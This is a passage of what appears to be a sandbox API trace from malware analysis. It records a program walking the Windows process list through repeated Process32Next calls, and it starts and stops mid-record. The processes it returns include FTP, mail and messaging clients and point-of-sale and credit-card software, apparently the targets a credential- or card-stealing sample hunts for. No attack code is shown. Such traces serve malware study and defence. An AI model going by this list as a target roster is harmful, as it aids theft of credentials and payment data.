cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0267.860] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0267.862] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0267.863] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.865] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0267.867] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0267.869] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0267.870] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0267.872] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0267.874] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0267.876] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0267.878] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.881] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0267.882] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0267.884] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0267.886] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.888] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0267.891] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0267.893] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0267.895] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0267.897] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0267.898] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0267.900] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0267.902] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0267.903] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0267.905] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0267.907] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0267.908] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0267.909] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0267.911] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0267.913] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0267.915] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0267.916] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0267.918] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0267.920] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0267.922] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0267.924] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0267.926] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0267.928] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0267.931] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0267.967] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0267.970] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0267.973] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0267.976] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0267.979] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0267.982] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0267.985] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0267.989] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0267.992] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0267.994] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0267.998] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0268.001] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0268.003] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0268.006] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0268.009] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0268.013] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0268.016] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0268.018] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0268.021] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0268.024] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0268.027] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0268.029] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0268.031] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0268.035] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0268.037] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0268.040] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0268.042] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0268.044] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0268.046] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0268.048] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0268.049] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0268.051] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0268.053] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0268.055] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0268.057] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0268.061] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0268.066] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0268.068] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0268.070] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0268.073] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0268.112] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0268.115] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0268.118] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0268.120] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0268.123] Process32Next (in: 